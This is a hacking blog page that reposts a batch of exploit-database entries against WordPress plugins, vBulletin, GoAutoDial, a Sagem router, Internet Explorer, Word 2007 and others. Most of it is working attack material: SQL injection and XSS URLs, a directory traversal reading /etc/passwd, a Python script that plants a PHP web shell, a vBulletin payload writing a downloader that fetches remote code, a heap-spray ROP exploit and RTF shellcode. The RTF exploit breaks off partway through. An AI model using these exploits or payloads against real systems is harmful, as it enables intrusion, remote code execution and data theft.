Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863115082

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: WordPress: cp-multi-view-calendar.1.1.4  [SQL Injection
vulnerabilities]
# Date: 2015-02-28
# Google Dork: Index of /wordpress/wp-content/plugins/cp-multi-view-calendar
# Exploit Author: Joaquin Ramirez Martinez [ i0akiN SEC-LABORATORY ]
# Vendor Homepage: http://wordpress.dwbooster.com/
# Software Link:
https://downloads.wordpress.org/plugin/cp-multi-view-calendar.1.1.4.zip
# Version: 1.1.5
# Tested on: windows 7 ultimate + sqlmap 0.9. It's php aplication
# OWASP Top10: A1-Injection
# Mitigations: Upgrade to version 1.1.5

Greetz to Christian Uriel Mondragon Zarate

Video demo of unauthenticated user sqli explotation vulnerability :



###################################################################

ADMIN PAGE SQL INJECTION
-------------------------------------------------

http://localhost/wordpress/wp-admin/admin-ajax.php?action=ajax_add_calendar

sqlinjection in post parameter viewid

-------------------------------------------------------------------

http://localhost/wordpress/wp-admin/admin-ajax.php?action=ajax_delete_calendar

sqlinjection in post parameter id


########################################

UNAUTENTICATED SQL INJECTION
-----------------------------------------------------------------

http://localhost/wordpress/?action=data_management&cpmvc_do_action=mvparse&f=edit&id=1

sql injection in id parameter

-----------------------------------------------------------------------

http://localhost/wordpress/?action=data_management&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=1

datapost viewtype=list&list_order=asc vuln variable list_order


################################################################

CROSSITE SCRIPTING VULNERABILITY
----------------------------------------------------------

http://localhost/wordpress/?action=data_management&cpmvc_do_action=mvparse&weekstartday=alert(12)&f=edit&id=1

crosite script weekstartday parameter

###################################################

==================================

time-line

26-02-2015: vulnerabilities found
27-02-2015: reported to vendor
28-02-2015: release new cp-multi-view-calendar version 1.1.4
28-02-2015: full disclousure

===================================
            
# Title              : Sagem F@st 3304-V2 Directory Traversal Vulnerability
# Vendor             : http://www.sagemcom.com
# Severity           : High
# Tested Router      : Sagem F@st 3304-V2 (3304, other versions may also be affected)
# Date               : 2015-03-01
# Author             : Loudiyi Mohamed
# Contact            : Loudiyi.2010@gmail.com
# Blog               : https://www.linkedin.com/pub/mohamed-loudiyi/86/81b/603
 
# Vulnerability description:
Sagem Fast is an ADSL Router using a web management interface in order to change configuration
settings. The router is Sagem Fast is an ADSL Router using a web management interface in order
to change configuration settings. 
The web server of the router is vulnerable to directory traversal which allows reading files 
by sending encoded '../' requests.

The vulnerability may be tested with the following command-line:
curl -v4 http://192.168.1.1//../../../../../../../../../../etc/passwd
Or directly from navigateur:
http://192.168.1.1/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
http://192.168.1.1/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fproc%2fnet%2farp
            
source: https://www.securityfocus.com/bid/50168/info

Multiple Toshiba e-Studio devices are prone to a security-bypass vulnerability.

Successful exploits will allow attackers to bypass certain security restrictions and gain access in the context of the device. 

http://www.example.com/TopAccess//Administrator/Setup/ScanToFile/List.htm 
            
source: https://www.securityfocus.com/bid/50167/info

asgbookphp is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary HTML and script code in an unsuspecting user's browser in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

http://code.google.com/p/asgbookphp/ asgbookphp 1.9 is vulnerable; other versions may also be affected. 

http://www.example.com/asgbookphp/index.php/>'><ScRiPt>alert(771818860)</ScRiPt> 
            
source: https://www.securityfocus.com/bid/50141/info

Xenon is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

http://www.example.com/news_detail.php?id=-9+union+select+0,1,2,3,group_concat%28table_name%29,5+from+information_schema.tables

http://www.example.com/viewstory.php?id=-8+and+1=1+union+select+0,1,2,group_concat%28column_name%29,4+from+information_schema.columns+where+table_name=0x7573657273

http://www.example.com/event.php?id=-153+union+select+0,1,2,3,4,5,6,7,8,group_concat%28table_name%29,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+information_schema.tables
            
source: https://www.securityfocus.com/bid/50133/info

PROMOTIC is prone to multiple security vulnerabilities.

Exploiting these issues may allow remote attackers to execute arbitrary code within the context of the affected application or disclose sensitive information.

PROMOTIC 8.1.3 is vulnerable; other versions may also be affected. 

http://www.example.com/webdir/..\..\..\..\..\boot.ini
            
source: https://www.securityfocus.com/bid/50108/info

G-WAN is prone to a buffer-overflow vulnerability and a denial-of-service vulnerability.

Remote attackers can exploit these issues to execute arbitrary code in the context of the application or crash the affected application.

G-WAN 2.10.6 is vulnerable; other versions may also be affected. 

while: do echo -e "GET /aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\r\n\r\n' 
            
source: https://www.securityfocus.com/bid/50096/info

The Pretty Link plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Pretty Link Plugin 1.4.56 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/pretty-link/classes/views/prli-clicks/head.php?min_date=%3Cscript%3Ealert%28d ocument.cookie%29;%3C/script%3E
http://www.example.com/wp-content/plugins/pretty-link/classes/views/prli-dashboard-widget/widget.php?message=%3Cscript% 3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/wp-content/plugins/pretty-link/classes/views/prli-links/form.php?prli_blogurl=%3Cscript%3Ealert% 28document.cookie%29;%3C/script%3E
http://www.example.com/wp-content/plugins/pretty-link/classes/views/shared/errors.php?errors[]=%3Cscript%3Ealert%28docu ment.cookie%29;%3C/script%3E
http://www.example.com/wp-content/plugins/pretty-link/classes/views/shared/table-nav.php?page_count=2&page_first_re cord=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E 
            
#################################################################################################################
[+] Exploit Title: vBulletin 4.x.x 'visitormessage.php' Remote Code Injection Vulnerability
[+] Discovered By: Dariush Nasirpour (Net.Edit0r)
[+] My Homepage: black-hg.org / nasirpour.info
[+] Date: [2015 27 February]
[+] Vendor Homepage: vBulletin.com
[+] Tested on: [vBulletin 4.2.2]
[+] Greeting : Ali Razmjoo - Ehsan Nezami - Arash Shams - Ramin Shahkar and all my freinds ( #bhg )
#################################################################################################################
Remote Code Injection:
+++++++++++++++++++++++++
1) You Must Register In The vBulletin http://server/register.php example:[blackhat]

2) go to your user profile example: [http://server/members/blackhat.html]

3) post something in visitor message and record post data with live http header

[example] : message_backup=&message=For-Test-Sample&wysiwyg=1&sbutton=%D8%A7%D8%B1%D8%B3%D8%A7%D9%84+%D9%BE%DB%8C%D8%BA%D8%A7%D9%85&fromquickcomment=
1&s=&securitytoken=1425024074-5bcfb5b83d466416ed95e80021abee86063cdf6e&do=message&u=110&u2=&loggedinuser=110&parseurl=1&lastcomment=1425022046&allow_ajax_qc=1&fromconverse=

4- change message to anything "For-Test-Sample" => "ALEEEEEEEEX"  [because vBulletin don't let you send same comment in a time]

[Now post this with hackbar:]

URL:  http://server/visitormessage.php?do=message

[Post data]
message_backup=&message=ALEEEEEEEEX&wysiwyg=1&sbutton=%D8%A7%D8%B1%D8%B3%D8%A7%D9%84+%D9%BE%DB%8C%D8%BA%D8%A7%D9%85&fromquickcomment=
1&s=&securitytoken=1425024074-5bcfb5b83d466416ed95e80021abee86063cdf6e&do=message&u=110&u2=&loggedinuser=110&parseurl=1&lastcomment=1425022046&allow_ajax_qc=1&fromconverse=

[And referrer data:] 
PoC : http://server/members/blackhat.html?a=$stylevar[${${file_put_contents("shell.php","hacked")}}]

[Example referrer data:] > upload downloader.php and s.php
PoC : http://server/members/g3n3rall.html?a=$stylevar%5b$%7b$%7bfile_put_contents(
"downloader.php","\x3C\x3F\x70\x68\x70\x0D\x0A\x24\x68\x6F\x6D\x65\x70\x61\x67\x65\x20\x3D\x20\x66\x69\x6C\x65\x5F\x67\x65\x74\x5F\x63\x6F\x6E\x74\x65\x6E\x74\x73\x28\x27\x68\x74\x74\x70\x3A\x2F\x2F\x70\x61\x69\x65\x6E\x63\x68\x61\x74\x2E\x63\x6F\x6D\x2F\x64\x2F\x64\x72\x2E\x74\x78\x74\x27\x29\x3B\x0D\x0A\x24\x66\x20\x3D\x20\x66\x6F\x70\x65\x6E\x28\x27\x73\x2E\x70\x68\x70\x27\x2C\x27\x77\x27\x29\x3B\x0D\x0A\x66\x77\x72\x69\x74\x65\x28\x24\x66\x2C\x24\x68\x6F\x6D\x65\x70\x61\x67\x65\x29\x3B\x0D\x0A\x3F\x3E")}}]

5- Open hackbar and tamper it with taper data:
referrer data has been URL encoded by browser , you have to replace this again with tamper data: http://server/members/blackhat.html?a=$stylevar[${${file_put_contents("shell.php","hacked")}}]

and submit request.

################################################################################################################
            
# Title : GoAutoDial CE 2.0 Shell Upload
# Date : 28/02/2015 
# Author : R-73eN
# Software : GoAutoDial CE 2.0
# Tested : On Linux vicisrv.loc 2.6.18-238.9.1.el5.goPAE #1  GoAutoDial CE 2.0

import socket
import sys
banner = "\n\n"
banner +="  ___        __        ____                 _    _  \n"  
banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n"
banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n"
banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"
banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"
print banner
CRLF = "\r\n"
def checkvuln():
	command = "uname"
	evil = path + '/manager_send.php?enable_sipsak_messages=1&allow_sipsak_messages=1&protocol=sip&ACTION=OriginateVDRelogin&session_name=AAAAAAAAAAAA&server_ip=%27%20OR%20%271%27%20%3D%20%271&extension=%3B' + command + '%3B&user=' + user + '&pass=' + password
	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.connect((host,80))
	evilREQ = 'GET ' + evil + ' HTTP/1.1' + CRLF + 'Host: ' + host + CRLF + 'User-Agent: Infogen-AL' + CRLF + CRLF + CRLF
	s.send(evilREQ)
	a = s.recv(1024)
	if(a.find("HTTP/1.1 200 OK") != -1 and a.find("Linux") != -1):
		print '[ + ] Server Is vulnerable [ + ]\n'
		shellupload()
	else: 
		print '[ - ] Server is not vulnerable [ - ]\n'
	s.close()


def shellupload():
	command = "echo 'Infogen-AL<br><?php echo system($_GET['cmd']);?>' > /var/www/html/infogen.php"
	#command = "rm /var/www/html/123.pl;rm /var/www/html/TEST.perl"
	command = command.replace(" ", "%20")
	evil = path + '/manager_send.php?enable_sipsak_messages=1&allow_sipsak_messages=1&protocol=sip&ACTION=OriginateVDRelogin&session_name=AAAAAAAAAAAA&server_ip=%27%20OR%20%271%27%20%3D%20%271&extension=%3B' + command + '%3B&user=' + user + '&pass=' + password
	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.connect((host,80))
	evilREQ = 'GET ' + evil + ' HTTP/1.1' + CRLF + 'Host: ' + host + CRLF + 'User-Agent: Infogen-AL' + CRLF + CRLF + CRLF
	s.send(evilREQ)
	a = s.recv(1024)
	if(a.find("HTTP/1.1 200 OK") != -1 and a.find("Invalid") == -1):
		print '[ + ] Shell uploaded successfully [ + ]\n'
		print '[ + ] http://' + host + '/infogen.php [ + ]\n'
	else:
		print '[ - ] Shell upload failed.... [ - ]'
	s.close()

if(len(sys.argv) < 4):
	print '\n Usage : exploit.py 127.0.0.1 /goautodial-agent/ agentuser agentpassword\n'
else:
	host = sys.argv[1]
	path = sys.argv[2]
	user = sys.argv[3]
	password = sys.argv[4]
	checkvuln()
	print 'Visit Us : http://infogen.al/'
            
[+] Calculated Fields Form Wordpress Plugin <= 1.0.10 - Remote SQL Injection Vulnerability
[+] Author: Ibrahim Raafat
[+] Twitter: https://twitter.com/RaafatSEC
[+] Plugin: https://wordpress.org/plugins/calculated-fields-form/

[+] TimeLine
	[-] Feb 6 2015, The vulnerabilities reported
	[-] Feb 7 2015, Response and Confirming the vulnerabilities 
	[-] Feb 8 2015, First fixing released to version 1.0.11
	[-] Feb 17 2015, CSRF protection added to version 1.0.12
	[-] March 1 2015, Public Disclosure

[+] Download: https://downloads.wordpress.org/plugin/calculated-fields-form.1.0.10.zip

[+] Description:
	There are sql injection vulnerabilities in Calculated Fields Form Plugin
	which could allow the attacker to execute sql queries into database

[+] Vulnerable Code: [Red]
https://plugins.trac.wordpress.org/changeset/1084937/calculated-fields-form

[+] POC: 

/wp-admin/options-general.php?page=cp_calculated_fields_form&u=2 and 1=1&name=InsertText 
/wp-admin/options-general.php?page=cp_calculated_fields_form&u=2 or 1=1&name=InsertText // Will update all
/wp-admin/options-general.php?page=cp_calculated_fields_form&c=21 and 1=1 
/wp-admin/options-general.php?page=cp_calculated_fields_form&d=3 and 1=2  Delete

These queries are execute without any csrf protection, The attacker can use this csrf vulnerability to execute queries in the sql by sending malicious page to the logged in admin

[+] Impact: Attacker can use this vulnerabilities to update admin password

[+] Recommendation: If you are using 1.0.12 or less, Upgrade the plugin ASAP

[+] @lnxg33k Enta Sa3eed Bahlol?
            
# Exploit Title: VFU Move Entry Buffer Overflow
# Date: 2015-02-25
# Exploit Author: Bas van den Berg -- @barrebas
# Vendor Homepage: http://cade.datamax.bg/
# Software Link: http://cade.datamax.bg/vfu/#download
# Version: 4.10-1.1
# Tested on: GNU/Linux Kali 1.09 32-bit & Crunchbang 11 Waldorf (based on Debian Wheezy), kernel 3.2.0-4

# VFU 4.10 (probably up to 4.14) contains a buffer overflow when a user
# moves a file entry around with a large filename. To trigger this 
# vulnerability, extensive user interaction is required.
# Steps to reproduce the bug: create a file with a large (>115 
# characters), run VFU and select 'A' and then 'V' to move the large 
# file entry around. Upon confirming the entry move, VFU crashes due to 
# a buffer overflow in this function:

'''
void vfu_file_entry_move()
{
  char t[128];
  sprintf( t, "MOVE/REORDER File entry: %s", files_list[FLI]->name() );
  say1( t );
  say2( "Use Up/Down Arrows to reorder, ESC,ENTER when done." );
'''

# This overflow allows execution of arbitrary commands with the 
# privilege of the current user. The attached PoC demonstrates this. It 
# drops two files: the large filename and a shellscript that allows 
# arbitrary command execution. Usage: $ python vfu-move-entry-poc.py


import struct
import os

def p(x):
	return struct.pack('<L', x & 0xffffffff)

with open('./vstring.h', 'w') as f:
	f.write('#!/bin/sh\ntouch pwned')
	f.close()
os.chmod('./vstring.h', 0755)

payload = "A"*115
payload += p(0x8049ca0) # system@plt
payload += p(0x804a260) # exit@plt
payload += p(0x8088e44) # -> ./vstring.h

open(payload, 'w').close()
            
source: https://www.securityfocus.com/bid/50001/info

Active CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Active CMS 1.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/activecms/admin/admin?action=module&mod=&#039;<script>alert(document.cookie)</script>
            
source: https://www.securityfocus.com/bid/49964/info

Microsoft Internet Explorer is prone to a remote memory-corruption vulnerability.

Successful exploits will allow an attacker to run arbitrary code in the context of the user running the application. Failed attacks may cause denial-of-service conditions. 

<html>
<head>
</head>

<body>


<script type="text/javascript">
<!--

//originally, windows 7 compatible calc.exe shellcode from SkyLined
var scode = "removed";

var newstack,newstackaddr;
var fakeobj;

var spray,spray2,selarray,readindex,readaddr,optarryaddr;
var elms = new Array();

var optarray;

var mshtmlbase;

//option object that is to be corrupted
var corruptedoption;
var corruptedoptionaddr;
var corruptaddr;

function strtoint(str) {
    return str.charCodeAt(1)*0x10000 + str.charCodeAt(0);
}

function inttostr(num) {
    return String.fromCharCode(num%65536,Math.floor(num/65536));
}

function crash() {
    var o = new Option();
    selarray[99].options.add(o,-0x20000000);
}

function readmem(addr) {
    if(addr < readaddr) alert("Error, can't read that address");
    return strtoint(spray[readindex].substr((addr-readaddr)/2,2));
}

function readmem2(addr,size) {
    if(addr < readaddr) alert("Error, can't read that address");
    return spray[readindex].substr((addr-readaddr)/2,size/2);
}

function overwrite(addr) {
    try {
        var index = (addr-optarryaddr)/4 - 0x40000000;
        selarray[99].options.add(optarray.pop(),index);
    } catch(err) {}   
}

function getreadaddr() {
    readaddr = 0;
    var indexarray = new Array();
    var tmpaddr = 0;
    var i,index;
    
    index = readmem(tmpaddr);
    indexarray.push(index);
    
    while(1) {
        tmpaddr += 0x100000;
        index = readmem(tmpaddr);
        for(i=0;i<indexarray.length;i++) {
            if(indexarray[i]==index+1) {
                readaddr = readmem(tmpaddr-0x24)-i*0x100000+0x24;
                return 1;
            } else if(indexarray[i]==index-1) {
                readaddr = readmem(tmpaddr-0x20)-i*0x100000+0x24;
                return 1;               
            }
        }
        indexarray.push(index);
    }
}

//leverages the vulnerability into memory disclosure
function initread() {
    //overwrite something in a heap spray slide
    try {
        selarray[99].options.add(optarray.pop(),-100000000/4);
    } catch(err) {}
    
    //now find what and where exectly did we overwrite
    readindex = -1;
    var i;
    for(i=1;i<200;i++) {
        if(spray[0].substring(2,spray[0].length-2)!=spray[i].substring(2,spray[0].length-2))
{
            readindex = i;
            break;
        }
    }

    if(readindex == -1) {
        alert("Error overwriring first spray");
        return 0;
    }

    var start=2,len=spray[readindex].length-2,mid;
    while(len>10) {
        mid = Math.round(len/2);
        mid = mid - mid%2;
        if(spray[readindex].substr(start,mid) !=
spray[readindex-1].substr(start,mid)) {
            len = mid;
        } else {
            start = start+mid;
            len = len-mid;
            //if(spray[readindex].substr(start,mid) ==
spray[readindex-1].substr(start,mid)) alert("error");
        }
    }
    
    for(i=start;i<(start+20);i=i+2) {
        if(spray[readindex].substr(i,2) != spray[readindex-1].substr(i,2)) {
            break;
        }
    }
    
    //overwrite the string length
    try {
        selarray[99].options.add(optarray.pop(),-100000000/4-i/2-1);
    } catch(err) {}
       
    if(spray[readindex].length == spray[readindex-1].length) alert("error
overwriting string length");
    
    //readaddr = strtoint(spray[readindex].substr((0x100000-4-0x20+4)/2,2))+0x24;
    getreadaddr();
    
    optarryaddr = readaddr + 100000000 + i*2;

    return 1;   
}

function trysploit() {
    //create some helper objects
    for(var i =0; i < 100; i++) {
        elms.push(document.createElement('div'));
    }

    //force the option cache to rebuild itself
    var tmp1 = selarray[99].options[70].text;

    //overwrite the CTreeNode pointer
    overwrite(corruptaddr);
    //read the address of the option object we overwrited with
    var optadr = readmem(corruptaddr);
    //delete the option object...
    selarray[99].options.remove(0);
    
    CollectGarbage();
    
    //...and allocate some strings in its place
    for(var i = 0; i < elms.length; i++) {
        elms[i].className = fakeobj;
    }

    //verify we overwrote the deleted option object successfully
    if(readmem(optadr) != strtoint(fakeobj.substr(0,2))) return 0;

    alert("success, calc.exe should start once you close this message box");

    //now do something with the corrupted option object
    corruptedoption.parentNode.click();
}

function hs() {
    
    //first heap spray, nop slide + shellcode   
    spray = new Array(200);
    var pattern = unescape("%u0C0C%u0C0C");
    while(pattern.length<(0x100000/2)) pattern+=pattern;
    pattern = pattern.substr(0,0x100000/2-0x100);
    for(var i=0;i<200;i++) {
        spray[i] = [inttostr(i)+pattern+scode].join("");
    }

    //fill small gaps, we wan everything _behind_ our heap spray so that
we can read it
    var asmall = new Array(10000);
    pattern = "aaaa";
    while(pattern.length<500) pattern+=pattern;
    for(var i=0;i<10000;i++) {
        asmall[i]=[pattern+pattern].join("");
    }
    
    //create some select and option elements
    selarray = new Array(100);
    for(var i=0;i<100;i++) {
        selarray[i] = document.createElement("select");
        for(var j=0;j<100;j++) {
            var o = new Option("oooooooooooooooooo","ooooooooooooooooooooo");
            selarray[i].options.add(o,0);
        }
    }
    
    //create some extra option elements
    optarray = new Array(10000);
    for(var i=0;i<10000;i++) {
        optarray[i] = new Option("oooooooooooooooooo","ooooooooooooooooooooo");
    }
    
    //enable memory disclosure
    if(initread()==0) return;

    //force the option cache to rebuild itself
    var tmp1 = selarray[99].options[60].text;
    
    //get the address of some option element to be corrupted, also remove
it from its select element, we don't want anything else messing with
it
    corruptedoptionaddr = readmem(optarryaddr+60*4);
    corruptedoption = selarray[99].options[60];
    selarray[99].options.remove(60);
    
    //get the base address of mshtml.dll based on the vtable address
inside the option object
    mshtmlbase = readmem(corruptedoptionaddr)-0xFC0C0;
    alert("base address of mshtml.dll : " + mshtmlbase.toString(16));

    //we'll overwrite the pointer to the CTreeNode object, compute its address
    corruptaddr = corruptedoptionaddr+0x14;

    //second heap-spray, this one will act as a stack (we'll exchange
stack pointer with a pointer into this)
    spray2 = new Array(200);   

    //some address that is likely to be inside the "stack"
    newstackaddr = optarryaddr+100000000;
    newstackaddr-=newstackaddr%0x1000;
    newstackaddr+=0x24;

    //assemble the "stack" so that it calls VirtualProtect on the firs
shellcode and then jumps into it through return-oriented-programming
    newstack = inttostr(newstackaddr+0x10)+unescape("%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA")+inttostr(newstackaddr+0x14)+inttostr(mshtmlbase+0x14EF7)+inttostr(mshtmlbase+0x1348)+inttostr(mshtmlbase+0x801E8)+inttostr(readaddr+0x100000-0x24)+inttostr(0x100000)+inttostr(0x40)+inttostr(readaddr+0x1000)+inttostr(readaddr+0x101000)+unescape("%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA")+inttostr(mshtmlbase+0x1B43F);
    while(newstack.length<(0x1000/2))
newstack+=unescape("%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA");
    newstack = newstack.substr(0,0x1000/2);
    while(newstack.length<(0x100000/2)) newstack+=newstack;
    newstack = newstack.substr(0,0x100000/2-0x100);
    for(var i=0;i<200;i++) {
        spray2[i] = [newstack].join("");
    }
    
    //constract a fake object which will replace a deleted option object
(it has to be the same size)
    //fakeobj = unescape("%u4141%u4141")+inttostr(newstackaddr)+unescape("%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141");
    fakeobj = unescape("%u4141%u4141%u4141%u4141")+unescape("%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141");
    
    //loop until we either achieve command execution or fail
    for(var i=0;i<100;i++) {
        trysploit();
    }
    
    alert("Exploit failed, try again");

}


hs();


-->
</script>


</body>
</html>
            
source: https://www.securityfocus.com/bid/49948/info

vtiger CRM is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

vtiger CRM 5.2.1 is vulnerable; prior versions may also be affected.

http://www.example.com/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=12&year=2011&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1+or+1%3d1--

http://www.example.com/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=12&year=2011&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1+or+1%3d2--

http://www.example.com/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=12&year=2011&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1+or+@@version%3d5--

http://www.example.com/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=12&year=2011&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1+or+@@version%3d4-- 
            
# Title : Microsoft Office Word 2007 - RTF Object Confusion ASLR and DEP bypass
# Date : 28/02/2015 
# Author : R-73eN
# Software : Microsoft Office Word 2007 
# Tested : Windows 7 Starter


import sys
# Windows Message Box / all versions . Thanks to Giuseppe D'amore for the shellcode .
shellcode = '31d2b230648b128b520c8b521c8b42088b72208b12807e0c3375f289c703783c8b577801c28b7a2001c731ed8b34af01c645813e4661746175f2817e084578697475e98b7a2401c7668b2c6f8b7a1c01c78b7caffc01c76879746501686b656e42682042726f89e1fe490b31c05150ffd7'
#filecontent
content="{\\rtf1"
content+="{\\fonttbl{\\f0\\fnil\\fcharset0Verdana;}}"
content+="\\viewkind4\\uc1\\pard\\sb100\\sa100\\lang9\\f0\\fs22\\par"
content+="\\pard\\sa200\\sl276\\slmult1\\lang9\\fs22\\par"
content+="{\\object\\objocx"
content+="{\\*\\objdata"
content+="\n"
content+="01050000020000001B0000004D53436F6D63746C4C69622E4C697374566965774374726C2E320000"
content+="00000000000000000E0000"
content+="\n"
content+="D0CF11E0A1B11AE1000000000000000000000000000000003E000300FEFF09000600000000000000"
content+="00000000010000000100000000000000001000000200000001000000FEFFFFFF0000000000000000"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFEFFFFFF"
content+="FEFFFFFF0400000005000000FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
